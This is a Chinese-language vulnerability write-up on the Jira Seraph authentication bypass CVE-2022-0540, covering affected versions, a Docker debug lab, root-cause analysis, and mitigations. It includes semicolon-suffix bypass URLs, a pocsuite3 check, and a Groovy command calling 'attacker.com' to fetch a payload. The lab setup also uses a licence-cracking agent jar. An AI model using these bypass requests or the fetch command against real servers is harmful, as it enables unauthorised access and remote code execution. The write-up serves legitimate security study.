CVE-2022-0540: Jira身份验证绕过分析
字数 1857 2025-08-27 12:33:54

Jira身份验证绕过漏洞(CVE-2022-0540)深度分析与利用指南

0x00 漏洞概述

CVE编号: CVE-2022-0540
漏洞类型: 身份验证绕过
影响组件: Jira和Jira Service Management中的Web身份验证框架Jira Seraph
漏洞描述:
Jira和Jira Service Management的Web身份验证框架Jira Seraph存在身份验证绕过漏洞。未经身份验证的远程攻击者可以通过发送特制的HTTP请求,绕过WebWork操作中的身份验证和授权要求。

0x01 影响版本

Jira受影响版本:

  • 所有版本 < 8.13.18
  • 8.14.x、8.15.x、8.16.x、8.17.x、8.18.x、8.19.x
  • 8.20.x < 8.20.6
  • 8.21.x

Jira Service Management受影响版本:

  • 所有版本 < 4.13.18
  • 4.14.x、4.15.x、4.16.x、4.17.x、4.18.x、4.19.x
  • 4.20.x < 4.20.6
  • 4.21.x

0x02 环境搭建与调试配置

1. 使用Docker搭建漏洞环境

基础Dockerfile配置:

FROM atlassian/jira-software:8.13.17
USER root
COPY "atlassian-agent.jar" /opt/atlassian/jira/
RUN echo 'export CATALINA_OPTS="-javaagent:/opt/atlassian/jira/atlassian-agent.jar ${CATALINA_OPTS}"' >> /opt/atlassian/jira/bin/setenv.sh

添加调试支持的Dockerfile修改:

RUN echo 'export CATALINA_OPTS="-javaagent:/opt/atlassian/jira/atlassian-agent.jar -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:8000 ${CATALINA_OPTS}"' >> /opt/atlassian/jira/bin/setenv.sh

构建和运行容器:

docker build -t jira/jira-crack:8.13.17 .
docker volume create --name jiraVolume
docker run -v jiraVolume:/var/atlassian/application-data/jira --name="jira" -d --net=host jira/jira-crack:8.13.17

替代调试配置方法:

docker run -e JVM_SUPPORT_RECOMMENDED_ARGS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:8000" ...

2. 本地调试环境配置

  1. 下载Jira 8.13.17和8.13.18安装包
  2. 批量反编译+解压缩
  3. 在IDEA中创建Java项目
  4. 添加以下目录到Library:
    • WEB-INF/classes
    • WEB-INF/lib
    • /lib
  5. 配置远程调试连接容器IP和8000端口

0x03 漏洞原理分析

版本差异对比

通过比较8.13.17和8.13.18版本,发现关键差异在:

  1. 新增文件: ActionNameCleaner.java
  2. WebworkPluginSecurityServiceHelper.java有明显修改
  3. 对action的获取方式改变:
    • 8.13.17: 使用getRequestURI()获取最后一个"/"后的内容
    • 8.13.18: 使用getServletPath()获取最后一个"/"到".jspa"中间的内容

关键调用链

SecurityFilter.dofilter 
-> JiraSeraphSecurityService.getRequiredRoles 
-> loginManagerimpl.getRequiredRoles 
-> authorisationManagerlmpl.getRequiredRoles 
-> WebworkPluginSecurityServiceHelper.getRequiredRoles 
-> ActionNameCleaner.getActionLastUrlSegment (18版)

认证服务类型

Jira实现了三种服务:

  1. JiraPathService: 当请求路径以/secure/admin/开头时,需要admin角色
  2. WebworkService: 从actions.xml文件中获取webwork的roles-required配置
  3. JiraSeraphSecurityService: 从所有插件的atlassian-plugin.xml文件中获取webwork action的roles-required配置

漏洞触发机制

当URL中包含分号";"时:

  • getRequestURI()会包含分号后的内容
  • getServletPath()不会包含分号后的path parameter
  • 导致Seraph无法在actionMapper中找到匹配项
  • requiredRoles返回为空
  • needauth为false
  • 成功绕过securityFilter

0x04 漏洞利用

基本PoC

访问受保护页面时在URL末尾添加分号:

http://[target]/secure/Dashboard.jspa;

针对Insight插件的利用

  1. 确保安装了Insight - Asset Management插件(版本<8.10.0)
  2. 尝试访问:
http://[target]/InsightPluginShowGeneralConfiguration.jspa;

绕过/admin/路径限制

/secure/admin/从路径中删除并添加分号:

http://[target]/InsightPluginWhiteList.jspa;

0x05 RCE尝试

管理员权限下的RCE

通过Groovy脚本引擎执行命令:

def command = 'curl http://attacker.com/exp'
def proc = command.execute()
proc.waitFor()
println "Process exit code: ${proc.exitValue()}"
println "Std Err: ${proc.err.text}"
println "Std Out: ${proc.in.text}"

越权RCE的限制

虽然可以绕过部分权限检查访问某些管理页面,但执行命令的API通常需要验证cookie,不受此漏洞直接影响。

0x06 修复方案

  1. 升级到以下安全版本:
    • Jira >= 8.13.18
    • Jira >= 8.20.6
    • Jira Service Management >= 4.13.18
    • Jira Service Management >= 4.20.6
  2. 临时缓解措施:
    • 限制对Jira实例的访问
    • 监控异常访问模式

0x07 参考链接

  1. CVE-2022-0540 - Authentication bypass in Seraph
  2. 先知社区原文

附录: PoC代码示例

# pocsuite3 PoC示例
def _exploit(self):
    target = self.target
    url = f"{target}/secure/Dashboard.jspa;"
    try:
        resp = requests.get(url, allow_redirects=False)
        if resp.status_code == 200 and "Dashboard" in resp.text:
            self.result = True
    except Exception as e:
        self.result = False

注意: 实际利用前请确保获得合法授权,未经授权的测试可能违反法律。

Jira身份验证绕过漏洞(CVE-2022-0540)深度分析与利用指南 0x00 漏洞概述 CVE编号 : CVE-2022-0540 漏洞类型 : 身份验证绕过 影响组件 : Jira和Jira Service Management中的Web身份验证框架Jira Seraph 漏洞描述 : Jira和Jira Service Management的Web身份验证框架Jira Seraph存在身份验证绕过漏洞。未经身份验证的远程攻击者可以通过发送特制的HTTP请求,绕过WebWork操作中的身份验证和授权要求。 0x01 影响版本 Jira受影响版本: 所有版本 < 8.13.18 8.14.x、8.15.x、8.16.x、8.17.x、8.18.x、8.19.x 8.20.x < 8.20.6 8.21.x Jira Service Management受影响版本: 所有版本 < 4.13.18 4.14.x、4.15.x、4.16.x、4.17.x、4.18.x、4.19.x 4.20.x < 4.20.6 4.21.x 0x02 环境搭建与调试配置 1. 使用Docker搭建漏洞环境 基础Dockerfile配置 : 添加调试支持的Dockerfile修改 : 构建和运行容器 : 替代调试配置方法 : 2. 本地调试环境配置 下载Jira 8.13.17和8.13.18安装包 批量反编译+解压缩 在IDEA中创建Java项目 添加以下目录到Library: WEB-INF/classes WEB-INF/lib /lib 配置远程调试连接容器IP和8000端口 0x03 漏洞原理分析 版本差异对比 通过比较8.13.17和8.13.18版本,发现关键差异在: 新增文件: ActionNameCleaner.java WebworkPluginSecurityServiceHelper.java 有明显修改 对action的获取方式改变: 8.13.17 : 使用 getRequestURI() 获取最后一个"/"后的内容 8.13.18 : 使用 getServletPath() 获取最后一个"/"到".jspa"中间的内容 关键调用链 认证服务类型 Jira实现了三种服务: JiraPathService : 当请求路径以 /secure/admin/ 开头时,需要admin角色 WebworkService : 从 actions.xml 文件中获取webwork的roles-required配置 JiraSeraphSecurityService : 从所有插件的 atlassian-plugin.xml 文件中获取webwork action的roles-required配置 漏洞触发机制 当URL中包含分号";"时: getRequestURI() 会包含分号后的内容 getServletPath() 不会包含分号后的path parameter 导致Seraph无法在actionMapper中找到匹配项 requiredRoles 返回为空 needauth 为false 成功绕过 securityFilter 0x04 漏洞利用 基本PoC 访问受保护页面时在URL末尾添加分号: 针对Insight插件的利用 确保安装了Insight - Asset Management插件(版本 <8.10.0) 尝试访问: 绕过/admin/路径限制 将 /secure/admin/ 从路径中删除并添加分号: 0x05 RCE尝试 管理员权限下的RCE 通过Groovy脚本引擎执行命令: 越权RCE的限制 虽然可以绕过部分权限检查访问某些管理页面,但执行命令的API通常需要验证cookie,不受此漏洞直接影响。 0x06 修复方案 升级到以下安全版本: Jira >= 8.13.18 Jira >= 8.20.6 Jira Service Management >= 4.13.18 Jira Service Management >= 4.20.6 临时缓解措施: 限制对Jira实例的访问 监控异常访问模式 0x07 参考链接 CVE-2022-0540 - Authentication bypass in Seraph 先知社区原文 附录: PoC代码示例 注意: 实际利用前请确保获得合法授权,未经授权的测试可能违反法律。